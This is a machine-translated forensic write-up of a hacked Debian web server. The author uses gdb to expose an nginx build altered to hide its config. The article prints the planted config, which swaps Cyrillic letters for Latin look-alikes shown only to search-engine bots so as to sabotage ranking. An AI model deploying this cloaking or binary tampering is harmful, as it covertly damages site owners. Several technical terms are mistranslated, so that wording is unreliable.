當“a”不等於“a”時。 駭客攻擊後

我的一位朋友發生了一件最不愉快的故事。 儘管這對米哈伊爾來說很不愉快,但對我來說卻同樣有趣。

我必須說我的朋友很 UNIX的-user:可以自行安裝系統 MySQL的, PHP 並進行簡單的設置 nginx的.
他還有十幾個或一個半網站專門介紹建築工具。

其中一個專門介紹電鋸的網站穩居搜尋引擎的前端。 該網站是一個非商業評論者,但有人養成了攻擊它的習慣。 那 DDoS攻擊,然後是暴力,然後他們會寫下流的評論並向主持人和 RKN 發送謾罵。
突然,一切都平靜下來,而這種平靜結果卻並不好,網站開始逐漸離開搜尋結果的前幾行。

當“a”不等於“a”時。 駭客攻擊後

這是一句話,然後是管理員的故事本身。

快到睡覺時間的時候,電話鈴響了:「阿三,你不看看我的伺服器嗎? 在我看來,我被黑了,我無法證明這一點,但這種感覺已經第三週沒有離開我了。 也許現在是我接受偏執症治療的時候了?”

接下來是半小時的討論,總結如下:

  • 駭客攻擊的土壤非常肥沃;
  • 攻擊者可以獲得超級使用者權限;
  • 攻擊(如果發生)專門針對此網站;
  • 問題區域已修正,您只需了解是否有滲透;
  • 駭客攻擊不會影響網站程式碼和資料庫。

關於最後一點。

當“a”不等於“a”時。 駭客攻擊後

只有白色的前端IP才能放眼世界。 除了 http(s) 之外,後端和前端之間沒有任何交換,使用者/密碼不同,沒有交換金鑰。 在灰色位址上,除 80/443 之外的所有連接埠均關閉。 白色後端 IP 只有兩個用戶知道,而 Mikhail 完全信任這兩個用戶。

安裝在前端 Debian 9的 當撥打電話時,系統已透過外部防火牆與外界隔離並停止運作。

「好吧,給我訪問權限,」我決定推遲一個小時睡覺。 “我會親眼所見。”

此處及進一步:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

尋找可能的駭客攻擊

我首先啟動伺服器 救援模式。 我安裝磁碟並翻閱它們 授權-紀錄, 歷史,系統日誌等,如果可能的話,我會檢查文件創建的日期,儘管我知道正常的破解者會在自己之後“掃蕩”,而Misha在尋找自己時已經“踩踏”了很多次。

我從正常模式開始,還沒有真正理解要尋找什麼,我研究了配置。 首先,我感興趣的是 nginx的 因為一般來說,前端除了它之外就沒有其他東西了。
配置很小,結構良好,分成十幾個文件,我只是瀏覽它們 貓'一一哦。 一切看起來都很乾淨,但你永遠不知道我是否錯過了什麼 包括,讓我做一個完整的清單:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

我不明白:“清單在哪裡?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

清單問題中新增了第二個問題:“為什麼要使用如此古老的 nginx 版本?”

另外,系統認為安裝的是最新版本:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

我打電話:
- 米莎,為什麼要重新組合 nginx的?
- 等等,我甚至不知道該怎麼做!
- 好吧,那你去睡覺吧…

Nginx的 它顯然是重建的,並且使用“-T”的列表的輸出被隱藏是有原因的。 不再對駭客攻擊有任何疑問,您可以簡單地接受它並(因為 Misha 無論如何都用新伺服器更換了伺服器)認為問題已解決。

事實上,既然有人獲得了權利 '啊,那麼這樣做才有意義 系統重裝,再去尋找那裡出了什麼問題也是沒有用的,但這次好奇心戰勝了睡意。 我們怎樣才能知道他們想向我們隱瞞什麼?

讓我們試著追蹤:

$ strace nginx -T

我們看了一下,痕跡裡明顯線條不夠啊啦

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

只是為了好玩,讓我們來比較一下結果。

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

我認為部分程式碼 /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

被轉化為以下形式:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

因此不顯示“-T”清單。

但是我們要如何查看我們的配置呢?

如果我的想法是正確的並且問題僅出在變數上 ngx_dump_config 讓我們嘗試使用它來安裝它 數據庫,幸好有鑰匙 --with-cc-opt -g 目前並希望優化 -氧氣 它不會傷害我們。 同時,由於我不知道如何 ngx_dump_config 可以處理在 案例“T”:,我們不會呼叫這個區塊,而是使用它來安裝它 案例“t”:

為什麼可以使用“-t”和“-T”區塊處理 如果(ngx_dump_config) 發生在裡面 如果(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

當然,如果程式碼在這部分改變而不是在 案例“T”:,那麼我的方法就行不通了。

測試 nginx.conf已經透過實驗解決了該問題,確定該惡意軟體需要最低配置才能運行 nginx的 類型:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

為了簡潔起見,我們將在本文中使用它。

啟動偵錯工具

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

一步步:

  • 在函數中設定斷點 主要()
  • 啟動程式
  • 更改決定配置輸出的變數值 ngx_dump_config=1
  • 繼續/結束程序

正如我們所看到的,真實的配置與我們的不同,我們從中選擇一個寄生部分:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

讓我們按順序看一下這裡發生了什麼。

決定 用戶代理的 yandex/Google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

服務頁面不包括在內 WordPress的:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

對於同時符合上述兩種情況的人

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

在文中 HTML- 頁面更改 'O''o' и 'A''一個':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

沒錯,唯一微妙的是 '一個'!='一個''o' != 'o':

當“a”不等於“a”時。 駭客攻擊後

因此,搜尋引擎機器人接收的不是正常的 100% 西里爾文字,而是用拉丁語稀釋的修改垃圾 '一個' и 'o'。 我不敢討論這對搜尋引擎優化有何影響,但這種混亂的字母不太可能對搜尋結果的排名產生積極影響。

我能說什麼,有想像力的人。

引用

使用 GDB 進行偵錯
gdb(1) — Linux 手冊頁
strace(1) — Linux 手冊頁
Nginx - 模組 ngx_http_sub_module
關於鋸子、鏈鋸和電鋸

來源: www.habr.com

添加評論